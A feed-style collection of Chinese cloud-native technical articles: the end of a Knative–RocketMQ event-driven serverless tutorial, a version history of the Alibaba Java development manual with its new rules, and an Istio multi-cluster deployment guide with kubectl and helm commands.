    • Configuration: 当前期望状态的配置。每次更新 Service 就会更新 Configuration;
    • Revision: configuration 的每次更新都会创建一个快照,用来做版本管理;
    • Route: 将请求路由到 Revision,并可以向不同的 Revision 转发不同比例的流量。

    3. 事件驱动框架 - Eventing

    8.png

    1.采用 CloudEvent 作为事件传输协议: CloudEvent 以通用的格式描述事件数据,提供跨平台的服务交互能力。KnativeEventing 使用 CloudEvent 作为事件传输标准,极大的提升了应用的跨平台可移植性;
    2.外部事件源接入和注册: 提供 Github、RocketMQ 以及 Kafka 等事件源的支持,当然用户可以自定义事件源。
    3.事件的订阅和触发:引入 Broker 和 Trigger 模型意义,不仅将事件复杂的处理实现给用户屏蔽起来,更提供丰富的事件订阅、过滤机制;
    4.兼容现有消息系统:KnativeEventing 充分解耦了消息系统的实现,目前除了系统自身支持的基于内存的消息通道 InMemoryChannel 之外,还支持 Kafka、NATSStreaming 等消息服务,此外可以方便的对接现有的消息系统。

    Eventing 中 Broker/Trigger模型

    9.png

    这里介绍一下 Eventing 中 Broker/Trigger 模型, 其实并不复杂。外部事件源将事件发送给 Broker, Broker 接收事件之后发送给对应的 Channel(也就是消息缓存,转发的地方,如 Kafka,InMemoryChannel 等),通过创建 Trigger 订阅 Broker 实现事件的订阅,另外在 Trigger 中定义对应的服务,实现最终的事件驱动服务。

    消息队列 RocketMQ

    消息队列 RocketMQ 版是阿里云基于 Apache RocketMQ 构建的低延迟、高并发、高可用、高可靠的分布式消息中间件。消息队列 RocketMQ 版既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。

    RocketMQSource

    RocketMQSource 是 Knative 平台的 RocketMQ 事件源。其可以将 RocketMQ 集群的消息以 Cloud Event 的格式实时转发到 Knative 平台,是 Apahe RocketMQ 和 Knative 之间的连接器。

    10.png

    Knative + RocketMQ 场景示例-餐饮配送场景

    11.png

    我们接下来以餐饮配送为例进行演示,餐饮配送场景具有以下特征:

    • 餐饮配送一天之内存在明显的高峰、低谷;
    • 高峰时间下单量很大。

    针对这样的情况,我们采用消息驱动 Serverless, 在高峰的时候自动扩容资源,在低谷的时候缩减资源,按需使用能极大的提升资源使用率,从而降低成本。

    1. 典型架构

    12.png

    如上图所示,当用餐时间来临,客户点餐生成下单消息发送到 RocketMQ, 通过 RocketMQSource 获取下单消息转换成事件发送到 Broker,通过 Trigger 订阅下单事件最终驱动订单服务生成订餐单。采用该方案具有以下优势:

    • 通过 Knative 技术以 RocketMQ 为核心将餐饮配送系统 Serverless 化可以极大程度降低服务器运维与成本;
    • Knative 的弹性可以帮你轻松应对早、中、晚三餐资源高峰需求;
    • 系统以 RocketMQ 做异步解耦,避免长链路调用等问题,提高系统可用性。

    2. 操作

    部署 Knative

    参见阿里云容器服务部署 Knative

    部署 RocketMQSource

    在 Knative 组件管理中,选择 RocketMQSource 点击部署。

    13.png

    部署订单服务

    参考示例代码仓库

    一键部署服务命令如下:

    kubectl apply -f 200-serviceaccount.yaml -f 202-clusterrolebinding.yaml -f 203-secret.yaml -f alirocketmqsource.yaml -f broker.yaml -f ksvc-order-service.yaml -f trigger.yaml

    模拟高峰订餐下单

    通过模拟下单,往 RocketMQ 中并发发送消息即可。消息格式参考:

    {"orderId":"123214342","orderStatus":"completed","userPhoneNo":"152122131323","prodId":"2141412","prodName":"test","chargeMoney":"30.0","chargeTime":"1584932320","finishTime":"1584932320"}

    3. 演示效果

    如下图所示:

    14.png

    其它应用场景

    1. Knative + RocketMQ 典型场景 - 构建 Serverless 电商系统

    15.png

    • Knative 弹性可以帮你轻松应对团购、双11 等电商的大促活动;
    • 系统以 RocketMQ 为中心做异步解耦,避免长链路调用等问题,提高系统可用性。

    2. Knative + RocketMQ 典型场景- 构建监控告警平台

    16.png

    • Metric、Log 等数据通过 RocketMQ 集群推送到 Knative 服务;
    • Knative 服务通过数据分析将告警内容推送钉钉或 slack 等通讯工具;
    • Knative 服务可以将 Metric 或 logs 数据进行处理,推送第三方系统。

    3. Knative + RocketMQ 典型场景- 多数据格式转换

    17.png

    • 处理数据日志以生成多个结果派生词,这些结果派生词可用于运营,营销,销售等;
    • 将内容从一种格式转换为另一种格式,例如,将 Microsoft Word 转换为 PDF;
    • 需要转换为多种格式的主媒体文件。

    总结

    通过以上 RocketMQ 事件驱动 Knative Serverless 应用的介绍,是否也给你碰撞出了火花?可以结合自身的应用场景不妨一试,相信会给你带来不一样的体验。

    欢迎钉钉扫码加入交流群

    18.png

    <关注阿里巴巴云原生公众号,回复 Knative 即可下载电子书>

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    《Java 开发手册》的前世今生 Fri, 02 May 2025 09:39:04 +0800 《Java 开发手册》始发于阿里巴巴内部规约,涵盖编程规约、异常日志、单元测试、安全规约等七大维度。从 2017 年上线至今整整四年,共发布了七个版本,在全球 Java 开发者共同努力下,这本手册已经成为业界普遍遵循的开发规范,感谢大家一直和我们在码出高效、码出质量的路上并肩同行。

    本文将介绍每个版本手册更新的亮点,文末可以下载所有版本的合集。

    第七版:泰山版《Java 开发手册》

    更新日期:2020/04/22

    更新亮点:

    • 新增 5 条日期时间规约
    • 新增 2 条表别名 sql 规约
    • 新增统一错误码规约

    新增的规约细则如下:

    OOP 规约

    1.【强制】任何货币金额,均以最小货币单位且整型类型来进行存储。

    2.【推荐】当某个方法的代码行数超过 10 行时,return / throw 等中断逻辑的右大括号后加一个空行。

    说明:这样做逻辑清晰,有利于代码阅读时重点关注。

    3.【推荐】在类中删除未使用的任何字段和方法;在方法中删除未使用的任何参数声明与内部变量。

    4.【强制】三目运算符 condition? 表达式1 : 表达式2 中,高度注意表达式 1 和 2 在类型对齐时,可能抛出因自动拆箱导致的 NPE 异常。

    说明:以下两种场景会触发类型对齐的拆箱操作:

    • 表达式 1 或表达式 2 的值只要有一个是原始类型。
    • 表达式 1 或表达式 2 的值的类型不一致,会强制拆箱升级成表示范围更大的那个类型。

    日期时间

    1.【强制】在日期格式中分清楚大写的 M 和小写的 m,大写的 H 和小写的 h 分别指代的意义。

    说明:日期格式中的这两对字母表意如下:

    • 表示月份是大写的 M;
    • 表示分钟则是小写的 m;
    • 24 小时制的是大写的 H;
    • 12 小时制的则是小写的 h。

    2.【强制】不允许在程序任何地方中使用:1)java.sql.Date 2)java.sql.Time 3) java.sql.Timestamp。

    说明:第 1 个不记录时间,getHours() 抛出异常;第 2 个不记录日期, getYear() 抛出异常;第 3 个在构造方法 super((time/1000)*1000),fastTime 和 nanos 分开存储秒和纳秒信息。

    3.【强制】不要在程序中写死一年为 365 天,避免在公历闰年时出现日期转换错误或程序逻辑错误。

    4.【推荐】避免公历闰年 2 月问题。闰年的 2 月份有 29 天,一年后的那一天不可能是 2 月 29 日。

    5.【推荐】使用枚举值来指代月份。如果使用数字,注意 Date,Calendar等日期相关类的月份 month 取值在 0-11 之间。

    说明:参考 JDK 原生注释,Month value is 0-based. e.g., 0 for January.

    集合处理

    1.【强制】判断所有集合内部的元素是否为空,使用 isEmpty() 方法,而不是 size()==0 的方式。

    说明:前者的时间复杂度为 O(1),而且可读性更好。

    2.【强制】在使用 java.util.stream.Collectors 类的 toMap() 方法转为 Map 集合时,一定要使 用含有参数类型为 BinaryOperator,参数名为 mergeFunction 的方法,否则当出现相同 key 值时会抛出 IllegalStateException 异常。

    说明:参数 mergeFunction 的作用是当出现 key 重复时,自定义对 value 的处理策略。

    3.【强制】在使用 java.util.stream.Collectors 类的 toMap() 方法转为 Map 集合时,一定要注意当 value 为 null 时会抛 NPE 异常。

    说明:在 java.util.HashMap 的 merge 方法里会进行如下的判断:

    if (value == null || remappingFunction == null) throw newNullPointerException();

    SQL 规约

    1.【强制】对于数据库中表记录的查询和变更,只要涉及多个表,都需要在列名前加表的别名(或表名)进行限定。

    说明:对多表进行查询记录、更新记录、删除记录时,如果对操作列没有限定表的别名(或表名),并且操作列在多个表中存在时,就会抛异常。

    2.【推荐】SQL 语句中表的别名前加 as,并且以 t1、t2、t3、... 的顺序依次命名。

    说明:1)别名可以是表的简称,或者是根据表出现的顺序,以 t1、t2、t3 的方式命名。2)别名前加 as 使别名更容易识别。

    3.【强制】日志打印时禁止直接用 JSON 工具将对象转换成 String。说明:如果对象里某些 get 方法被重写,存在抛出异常的情况,则可能会因为打印日志而影响正常业务流程的执行。

    4.【强制】生产环境禁止直接使用 System.out 或 System.err 输出日志或使用 e.printStackTrace() 打印异常堆栈。

    说明:标准日志输出与标准错误输出文件每次 Jboss 重启时才滚动,如果大量输出送往这两个文件,容易造成文件大小超过操作系统大小限制。

    其他

    1.【强制】避免用 Apache Beanutils 进行属性的 copy。

    说明:Apache BeanUtils 性能较差,可以使用其他方案比如 Spring BeanUtils, Cglib BeanCopier,注意均是浅拷贝。

    安全规约

    1.【强制】URL 外部重定向传入的目标地址必须执行白名单过滤。

    二方库规约

    1.【推荐】不要使用不稳定的工具包或者 Utils 类。

    说明:不稳定指的是提供方无法做到向下兼容,在编译阶段正常,但在运行时产生异常,因此,尽量使用业界稳定的二方工具包。

    设计规约

    1.【参考】可扩展性的本质是找到系统的变化点,并隔离变化点。

    说明:世间众多设计模式其实就是一种设计模式即隔离变化点的模式。

    2.【参考】代码即文档的观点是错误的,清晰的代码只是文档的某个片断,而不是全部。

    说明:代码的深度调用,模块层面上的依赖关系网,业务场景逻辑,非功能性需求等问题是需要相应的文档来完整地呈现的。

    错误码统一

    统一错误码,就是统一度量衡,为你的应用与服务的稳定保驾护航,烦恼清空,快乐回家。泰山版新近出炉的错误码具有快速溯源、简单易记、沟通标准化三大优势。错误码为字符串类型,共 5 位,分成两个部分:错误产生来源和四位数字编号。错误产生来源分为 A/B/C,以当前代码运行视角来进行判定,A 表示错误来源于用户,比如请求参数错误,用户安装版本过低等问题;B 表示错误来源于当前系统,往往是业务逻辑出错,或程序健壮性差等问题;C 表示错误来源于第三方服务,比如 CDN 服务出错,消息投递超时等问题。优秀的错误码可以迅速知道他们是怎么来滴,从哪儿来滴,来干啥滴。同时俺们的错误码具有三级结构,分为一级宏观错误码、二级宏观错误码、三级宏观错误码,这样的方案更加可扩展,有弹性,更多详细规则,见手册的附件的《错误码参考列表》。

    Java 开发手册所有历史版本

    第 6 版:华山版《Java 开发手册》

    更新日期:2019/06/13

    更新亮点:

    • 新增 21 条设计规约
    • 修改描述 112 处
    • 完善若干处示例

    第 5 版:1.4.0 版 《阿里巴巴 Java 开发手册》

    更新日期:2018/06/06

    更新亮点:新增 16 条设计规约

    第 4 版:1.3.0 版 《阿里巴巴 Java 开发手册》

    更新日期:2017/09/19

    更新亮点:增加单元测试规约

    第 3 版:1.2.0 版 《阿里巴巴 Java 开发手册》

    更新日期:2017/05/20

    更新亮点:公开征集意见后修正版本

    第 2 版:1.1.0 版 《阿里巴巴 Java 开发手册》

    更新日期:2017/02/27

    更新亮点:增加前言和专有名词说明,修正部分描述

    第 1 版:1.0.0 版 《阿里巴巴 Java 开发手册》

    更新日期:2016/12/07

    更新亮点:首次向业界开放

    ]]>
    如何使用 Istio 进行多集群部署管理:单控制平面 VPN 连接拓扑 Fri, 02 May 2025 09:39:04 +0800 4.27头图.png

    作者 | 王夕宁  阿里云高级技术专家

    参与阿里巴巴云原生公众号文末留言互动,即有机会获得赠书福利!

    导读:本文摘自于由阿里云高级技术专家王夕宁撰写的《Istio 服务网格技术解析与实践》一书,在展望服务网格未来的同时,讲述了如何使用 Istio 进行多集群部署管理,来阐述服务网格对多云环境、多集群即混合部署的支持能力。你只需开心参与阿里巴巴云原生公众号文末互动,我们负责买单!技术人必备书籍《Istio 服务网格技术解析与实践》免费领~

    服务网格作为一个改善服务到服务通信的专用基础设施层,是云原生范畴中最热门的话题。随着容器愈加流行,服务拓扑也频繁变动,这就需要更好的网络性能。服务网格能够通过服务发现、路由、负载均衡、心跳检测和支持可观测性,帮助我们管理网络流量。服务网格试图为无规则的复杂的容器问题提供规范化的解决方案。

    服务网格也可以用于混沌工程 —— “一门在分布式系统上进行实验的学科,目的是构建能够应对极端条件的可靠系统”。服务网格能够将延迟和错误注入到环境中,而不需要在每个主机上安装一个守护进程。

    容器是云原生应用的基石,通过应用容器化,使得应用开发部署更加敏捷、迁移更加灵活,并且这些实现都是基于标准化的。而容器编排则是更近一步,能够更加有效地编排资源、更加高效地调度利用这些资源。而到了云原生时代,在 Kubernetes 基础架构之上,结合 Istio 服务网格,提供了多云、混合云的支持能力,针对微服务提供了有效的治理能力,并以 Kubernetes 和 Istio 为基础,提供了针对特定应用负载的不同支持,例如针对 Kubeflow 服务的流量治理、为 Knative 提供负载的路由管理能力等。

    尽管 Service Mesh 在云原生系统方面的应用已经有了快速的增长,但仍然存在巨大的提升空间。无服务器(Serverless)计算正好需要 Service Mesh 的命名和链接模型,这让 Service Mesh 在云原生生态系统中的角色得到了彰显。服务识别和访问策略在云原生环境中仍显初级,而 Service Mesh 毫无疑问将成为这方面不可或缺的基础。就像 TCP/IP 一样,Service Mesh 将在底层基础设施这条道路上更进一步。

    混合云可以采用多种形式。通常,混合云指的是跨公有云和私有(内部部署)云运行,而多云意味着跨多个公有云平台运行。

    采用混合云或多云架构可以为你的组织带来诸多好处。例如,使用多个云提供商可以帮助你避免供应商锁定,能够让你为实现目标选择最佳的云服务。使用云和本地环境,你可以同时享受云的优势(灵活性、可扩展性、成本降低)和本地的好处(安全性、低延迟、硬件复用)。如果你是首次迁移到云端,采用混合云步骤可以让你按照自己的节奏,以最适合你业务的方式进行。

    根据我们在公有云上的实践经验及从客户那里得到的信息,我们认为采用混合服务网络是简化云和本地环境中应用程序管理、安全性和可靠性的关键,无论你的应用程序是在容器中运行,或是在虚拟机中运行。

    Istio 的一个关键特性是它为你的工作负载(例如 pod、job、基于 VM 的应用程序)提供服务抽象。当你转向混合拓扑时,这种服务抽象变得更加重要,因为现在你不只需要关注一个环境,而是需要关注若干个环境。

    当你在一个 Kubernetes 集群上使用 Istio 时,可以获得包括可见性、细粒度流量策略、统一遥测和安全性在内的微服务的所有管理优势。但是当你在多个环境中使用 Istio 时,实际上是为应用程序提供了一个新的超级能力。因为 Istio 不仅仅是 Kubernetes 的服务抽象,也是一种在整个环境中标准化网络的方法。它是一种集中 API 管理并将 JWT 验证与代码分离的方法。它是跨云提供商的安全、零信任网络的快速通道。

    那么所有这些魔法是如何发生的呢?混合 Istio 是指一组 Istio Sidecar 代理,每一个 Envoy 代理位于所有服务的旁边,而这些服务可能运行在不同环境中的每一个虚拟机、每一个容器中,而且这些 Sidecar 代理之前互相知道如何跨边界交互。这些 Envoy Sidecar 代理可能由一个中央 Istio 控制平面管理,或由每个环境中运行的多个控制平面管理。

    多集群部署管理

    服务网格本质上是将一组单独的微服务组合成单个可控的复合应用程序,Istio 作为一种服务网格,也是旨在单一管理域下监视和管理协作微服务网络。对于特定大小的应用程序,所有微服务是可以在单个编排平台如一个 Kubernetes 集群上运行的。然而,由于规模不断增大或者冗余等原因,大多数应用程序最终将需要分发一些服务在其他地方运行。

    社区越来越关注在多个集群上运行工作负载,以实现更好的扩展,故障可以更好地隔离,从而提升应用程序的敏捷性。Istio v1.0 开始支持一些多集群功能,并在之后的版本中添加了新功能。

    Istio 服务网格支持许多可能的拓扑结构,用于在单个集群之外分发应用程序的服务,有两种常见的模式或用例:单网格和网格联合。顾名思义,单个网格将多个集群组合成一个单元,由一个 Istio 控制平面管理;它可以实现为一个物理控制平面,也可以实现为一组控制平面,同时所有控制平面都能通过复制配置保持同步。而网格联合则会将多个集群分离作为单独的管理域,有选择地完成集群之间的连接,仅将服务的子集暴露给其他集群;自然它的实现会包含多个控制平面。

    具体来说,这些不同的拓扑结构包括以下几个方面:

    • 网格中的服务可以使用服务条目(Service Entry)来访问独立的外部服务或访问由另一个松散耦合的服务网格公开的服务,通常称为网格联邦(Mesh Federation)。这种拓扑适合于互相独立并且网络隔离、只能通过公网交互的多集群的场景;
    • 支持在虚拟机或物理裸机上运行的服务进行服务网格扩展,通常称为网格联合(Mesh Expansion)。在前面章节中,我们已经讲述了这种 Kubernetes 集群与虚拟机、物理裸机之间混合部署的场景;
    • 把来自多个集群的服务组合到单个服务网格中,通常称为多集群网格(Multicluster Mesh)。根据网络拓扑结构的不同,多集群网格通常分为单控制平面 VPN 连接、单控制平面网关连接以及多控制平面拓扑。

    单控制平面 VPN 连接拓扑

    作为基准,在 Istio 的 1.1 版本之前,Istio 1.0 多集群仅支持使用单网格设计。它允许多个集群连接到网格中,但所有集群都在一个共享网络上。也就是说,所有集群中所有 pod 和服务的 IP 地址都是可直接路由的,不会发生冲突,同时保证在一个集群中分配的IP地址不会在另一个集群中同时重用。

    在这种拓扑配置下,在其中一个集群上运行单个 Istio 控制平面。该控制平面的 Pilot 管理本地和远程集群上的服务,并为所有集群配置 Envoy 代理。这种方法在所有参与集群都具有 VPN 连接的环境中效果最佳,因此可以使用相同的 IP 地址从其他任何地方访问网格中的每个 pod。

    在此配置中,Istio 控制平面部署在其中一个集群上,而所有其他集群运行更简单的远程 Istio 配置,该配置将它们连接到单个 Istio 控制平面,该平面将所有 Envoy 管理为单个网格。各个集群上的 IP 地址不允许重叠,并且远程集群上的服务的 DNS 解析不是自动的。用户需要在每个参与集群上复制服务,这样每个集群中的 Kubernetes 集群服务和应用程序都能够将其内部 Kubernetes 网络暴露给其他集群。一旦一个或多个远程 Kubernetes 集群连接到 Istio 控制平面,Envoy 就可以与单个控制平面通信并形成跨多个集群的网状网络。

    前提约束

    事实上,我们已经了解到网格、集群和网络之间的存在各种约束,例如,在某些环境中,网络和集群直接相关。Istio单网格设计下的单控制平面VPN连接拓扑需要满足以下几个条件:

    • 运行 Kubernetes 1.9 或更高版本的两个或更多集群;
    • 能够在其中一个集群上部署 Istio 控制平面;
    • RFC1918 网络、VPN 或满足以下要求的更高级网络技术:

      • 单个集群 pod CIDR 范围和服务 CIDR 范围在多集群环境中必须是唯一的,并且应当不重叠;
      • 每个集群中的所有 pod CIDR 必须可以相互路由;
      • 所有 Kubernetes 控制平面 API 服务器必须可以相互路由。

    此外,为了跨集群支持 DNS 名称解析,必须确保在所有需要跨集群服务调用的集群中定义对应的命名空间、服务和服务账户;例如,集群 cluster1 中命名空间 ns1 的服务 service1 需要调用集群 cluster2 中命名空间 ns2 的服务 service2,那么在集群 cluster1 中为了支持服务名的 DNS 解析,需要在集群 cluster1 中创建一个命名空间 ns2 以及该命名空间下的服务 service2。

    以下示例中的两个 Kubernetes 集群的网络假定已经满足上述要求,每个集群中的 pod 都能够互相路由,也就是说网络可通并且端口是可访问的(如果采用的是类似于阿里云的公有云服务,请确保这些端口在安全组规则下是可以访问的;否则服务间的调用会受到影响)。

    两个 Kubernetes 集群的 pod CIDR 范围和服务 CIDR 范围定义如下表所示:

    1.png
    (CIDR 范围定义)

    拓扑架构

    2.png
    (Istio 中单控制平面 VPN 连接拓扑的多集群支持的调用关系)

    从图中可以看到整个多集群拓扑中只会在一个 Kubernetes 集群上安装 Istio 控制平面。这个安装 Istio 控制平面的集群通常被称为本地集群,所有其它集群称为远程集群。

    这些远程集群只需要安装 Istio 的 Citadel 和 Sidecar Injector 准入控制器,具有较小的 Istio 占用空间,Citadel 用于这些远程集群的安全管理,Sidecar Injector 准入控制器用于控制平面中的自动注入和数据平面中工作负载的 Sidecar 代理功能。

    在这个架构中,Pilot 可以访问所有集群中的所有 Kubernetes API 服务器,因此它具有全局网络访问视图。Citadel 和 Sidecar Injector 准入控制器则只会在集群本地范围内运行。每个集群都有唯一的 pod 和服务 CIDR,除此之外,集群之间还有一个共享的扁平网络,以保证能直接路由到任何工作负载,包括到 Istio 的控制平面。例如,远程集群上的 Envoy 代理需要从 Pilot 获得配置,检查并报告给 Mixer 等。

    启用双向 TLS 通信

    如果在多个集群中启用跨集群的双向 TLS 通信,就需要按照如下方式在各个集群中进行部署配置。首先,从共享的根 CA 为每个集群的 Citadel 生成中间 CA 证书,共享的根 CA 启用跨不同集群的双向 TLS 通信。为了便于说明,我们将 samples/certs 目录下 Istio 安装中提供的示例根 CA 证书用于两个集群。在实际部署中,你可能会为每个集群使用不同的 CA 证书,所有 CA 证书都由公共根 CA 签名。

    在每个 Kubernetes 集群中(包括示例中的集群 cluster1 与 cluster2)创建密钥。使用以下的命令为生成的 CA 证书创建 Kubernetes 密钥:

    kubectl
    create namespace istio-system
    kubectl
    create secret generic cacerts -n istio-system 
      --from-file=samples/certs/ca-cert.pem 
      --from-file=samples/certs/ca-key.pem 
      --from-file=samples/certs/root-cert.pem 
      --from-file=samples/certs/cert-chain.pem

    当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信,上述步骤完全可以跳过。

    部署本地控制平面

    在所谓的本地集群上安装一个 Istio 控制平面的过程,与在单集群上安装 Istio 并没有太多差别,需要注意的一点是如何配置 Envoy 代理用于管理直接访问某个 IP 范围内的外部服务的参数。如果是使用 Helm 安装 Istio,那么在 Helm 中有一个名为 global.proxy.includeIPRanges 的变量,确保该变量为“*”或者包括本地集群、所有远程集群的 pod CIDR 范围和服务 CIDR。

    可以通过查看命名空间 istio-system 下的配置项 istio-sidecar-injector 中的 traffic.sidecar.istio.io/includeOutboundIPRanges 来确认 global.proxy.includeIPRanges 参数设置,如下所示:

    kubectl
    get configmap istio-sidecar-injector -n istio-system -o yaml| grep
    includeOutboundIPRanges
     
    'traffic.sidecar.istio.io/includeOutboundIPRanges'  "*"  ]]"n - "-x"n

    在部署 Istio 控制平面组件的集群 cluster1 中,按照以下步骤执行。

    1. 如果启用了双向 TLS 通信,则需要如下配置参数:
    helm
    template --namespace=istio-system 
      --values
    install/kubernetes/helm/istio/values.yaml 
      --set global.mtls.enabled=true 
      --set security.selfSigned=false 
      --set global.controlPlaneSecurityEnabled=true
    
      install/kubernetes/helm/istio > istio-auth.yaml
    kubectl
    apply -f istio-auth.yaml
    1. 如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:
    helm
    template --namespace=istio-system 
      --values
    install/kubernetes/helm/istio/values.yaml 
      --set global.mtls.enabled=false 
      --set security.selfSigned=true 
      --set global.controlPlaneSecurityEnabled=false
    
      install/kubernetes/helm/istio >
    istio-noauth.yaml
    kubectl
    apply -f istio-noauth.yaml

    修改 Istio 服务 istio-pilot、istio-telemetry、istio-policy 及 zipkin 的类型为内网负载均衡,将这些服务以内网方式暴露给远程集群使用。不同的云厂商实现机制不尽相同,但大都是通过修改 annotation 的方式实现。针对阿里云容器服务来说,设置为内网负载均衡的方式非常简单,只需要添加如下 annotation 到服务的 YAML 定义中即可:
    service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet。

    此外,需要按照图中的端口定义为每一个服务进行设置。

    3.png
    (服务设置)

    istio-pilot 服务端口如表 1 所示。

    4.png
    (表 1 istio-pilot 服务端口说明)

    istio-telemetry 服务端口如表 2 所示

    5.png
    (表 2 istio-telemetry 服务端口说明)

    istio-policy 服务端口如表 3 所示。

    6.png
    (表 3 istio-policy 服务端口说明)

    zipkin 服务端口如表 4 所示。

    7.png
    (表 4 zipkin 服务端口说明)

    安装 istio-remote

    在本地集群中安装完控制平面之后,必须将 istio-remote 组件部署到每个远程 Kubernetes 集群。等待 Istio 控制平面完成初始化,然后再执行本节中的步骤。你必须在 Istio 控制平面集群上运行这些操作以捕获 Istio 控制平面服务端点,例如上述提到的 Istio 服务 istio-pilot、istio-telemetry、istio-policy 以及 zipkin。

    在远程集群 cluster2 中部署 Istio-remote 组件,按照以下步骤执行:

    1.在本地集群上使用以下命令设置环境变量:

    export
    PILOT_IP=$(kubectl -n istio-system get service istio-pilot -o
    jsonpath='{.status.loadBalancer.ingress[0].ip}')
    export
    POLICY_IP=$(kubectl -n istio-system get service istio-policy -o
    jsonpath='{.status.loadBalancer.ingress[0].ip}')
    export
    TELEMETRY_IP=$(kubectl -n istio-system get service istio-telemetry -o
    jsonpath='{.status.loadBalancer.ingress[0].ip}')
    export
    ZIPKIN_IP=$(kubectl -n istio-system get service zipkin -o
    jsonpath='{.status.loadBalancer.ingress[0].ip}')
    echo
    $PILOT_IP $POLICY_IP $TELEMETRY_IP $ZIPKIN_IP

    2.如果在多个集群中启用跨集群的双向 TLS 通信,就需要在集群中进行部署配置。

    当然,如果你的环境只是开发测试或者不需要启用双向 TLS 通信的话,该步骤完全可以跳过。在远程 Kubernetes 集群 cluster2 上运行以下命令,在集群中为生成的 CA 证书创建 Kubernetes 密钥:

    kubectl
    create namespace istio-system
    kubectl
    create secret generic cacerts -n istio-system 
        --from-file=samples/certs/ca-cert.pem 
        --from-file=samples/certs/ca-key.pem 
        --from-file=samples/certs/root-cert.pem 
    --from-file=samples/certs/cert-chain.pem

    3.在远程 Kubernetes 集群 cluster2 上,通过执行以下命令,使用 Helm 创建 Istio remote 部署 YAML 文件。

    如果启用了双向 TLS 通信,则需要如下配置参数:

    helm
    template install/kubernetes/helm/istio 
      --name istio-remote 
      --namespace istio-system 
      --values install/kubernetes/helm/istio/values-istio-remote.yaml
    
      --set global.mtls.enabled=true 
      --set security.selfSigned=false 
      --set global.controlPlaneSecurityEnabled=true
    
      --set
    global.remotePilotCreateSvcEndpoint=true 
      --set global.remotePilotAddress=${PILOT_IP} 
      --set global.remotePolicyAddress=${POLICY_IP}
    
      --set
    global.remoteTelemetryAddress=${TELEMETRY_IP}
      --set global.remoteZipkinAddress=${ZIPKIN_IP}
    > istio-remote-auth.yaml

    然后将 Istio remote 组件部署到 cluster2,如下所示:

    kubectl
    apply -f ./istio-remote-auth.yaml

    如果不需要启用双向 TLS 通信,配置参数则需要做出如下修改:

    helm
    template install/kubernetes/helm/istio 
      --name istio-remote 
      --namespace istio-system 
      --values
    install/kubernetes/helm/istio/values-istio-remote.yaml 
      --set global.mtls.enabled=false 
      --set security.selfSigned=true 
      --set
    global.controlPlaneSecurityEnabled=false 
      --set
    global.remotePilotCreateSvcEndpoint=true 
      --set global.remotePilotAddress=${PILOT_IP} 
      --set global.remotePolicyAddress=${POLICY_IP}
    
      --set global.remoteTelemetryAddress=${TELEMETRY_IP}
      --set global.remoteZipkinAddress=${ZIPKIN_IP}
    > istio-remote-noauth.yaml

    然后将 Istio remote 组件部署到 cluster2,如下所示:

    kubectl
    apply -f ./istio-remote-noauth.yaml

    确保上述步骤在 Kubernetes 集群中执行成功。

    4.创建集群 cluster2 的 Kubeconfig。

    安装 Istio-remote Helm chart 后,在远程集群中创建了一个叫 istio-multi 的 Kubernetes 服务帐号,该服务帐号用于最小化 RBAC 访问请求,对应的集群角色定义如下:

    kind:
    ClusterRole
    apiVersion:
    rbac.authorization.k8s.io/v1
    metadata:
      name: istio-reader
    rules:
      - apiGroups: ['']
        resources: ['nodes', 'pods', 'services',
    'endpoints']
        verbs: ['get', 'watch', 'list']

    下面的过程通过使用先前所述的 istio-multi 服务帐号凭证生成一个远程集群的 kubeconfig 配置文件。通过以下命令,在集群 cluster2 上创建服务帐号 istio-multi 的 Kubeconfig,并保存为文件 n2-k8s-config:

    CLUSTER_NAME="cluster2"
    SERVER=$(kubectl
    config view --minify=true -o "jsonpath={.clusters[].cluster.server}")
    SECRET_NAME=$(kubectl
    get sa istio-multi -n istio-system -o jsonpath='{.secrets[].name}')
    CA_DATA=$(kubectl
    get secret ${SECRET_NAME} -n istio-system -o
    "jsonpath={.data['ca.crt']}")
    TOKEN=$(kubectl
    get secret ${SECRET_NAME} -n istio-system -o
    "jsonpath={.data['token']}" | base64 --decode)
    cat
    <<EOF > n2-k8s-config
    apiVersion:
    v1
    kind:
    Config
    clusters:
      - cluster:
          certificate-authority-data: ${CA_DATA}
          server: ${SERVER}
        name: ${CLUSTER_NAME}
    contexts:
      - context:
          cluster: ${CLUSTER_NAME}
          user: ${CLUSTER_NAME}
        name: ${CLUSTER_NAME}
    current-context:
    ${CLUSTER_NAME}
    users:
      - name: ${CLUSTER_NAME}
        user:
          token: ${TOKEN}
    EOF

    5.将集群 cluster2 加入 Istio Pilot 所在集群中。

    在集群 dusterl 执行以下命令,将上述生成的集群 cluster2 的 kubeconfig 添加到集群 cluster1 的 secret 中。执行这些命令后,集群 cluster1 中的 Istio Pilot 将开始监听集群 cluster2 的服务和实例,就像监听集群 cluster1 中的服务与实例一样:

    kubectl
    create secret generic n2-k8s-secret --from-file n2-k8s-config -n istio-system
    kubectl
    label secret n2-k8s-secret istio/multiCluster=true -n istio-system

    部署示例应用

    为了演示跨集群访问,在第一个 Kubernetes 集群 cluster1 中部署 sleep 应用服务和版本 v1 的 helloworld 服务,在第二个集群 cluster2 中部署版本 v2 的 helloworld 服务,然后验证 sleep 应用是否可以调用本地或者远程集群的 helloworld 服务。

    1.部署 sleep 和版本 v1 的 helloworld 服务到第一个集群 cluster1 中,执行如下命令:

    kubectl
    create namespace app1
    kubectl
    label namespace app1 istio-injection=enabled
    kubectl
    apply -n app1 -f multicluster/sleep/sleep.yaml
    kubectl
    apply -n app1 -f multicluster/helloworld/service.yaml
    kubectl
    apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v1
    export
    SLEEP_POD=$(kubectl get -n app1 pod -l app=sleep -o
    jsonpath={.items..metadata.name})

    2.部署版本 v2 的 helloworld 服务到第二个集群 cluster2 中,执行如下命令:

    kubectl
    create namespace app1
    kubectl
    label namespace app1 istio-injection=enabled
    kubectl
    apply -n app1 -f multicluster/helloworld/service.yaml
    kubectl
    apply -n app1 -f multicluster/helloworld/helloworld.yaml -l version=v2

    3.验证在集群 cluster1 中的 sleep 服务是否可以正常调用本地或者远程集群的 helloworld 服务,在集群 cluster1 下执行如下命令:

    kubectl
    exec $SLEEP_POD -n app1 -c sleep -- curl helloworld.app1:5000/hello

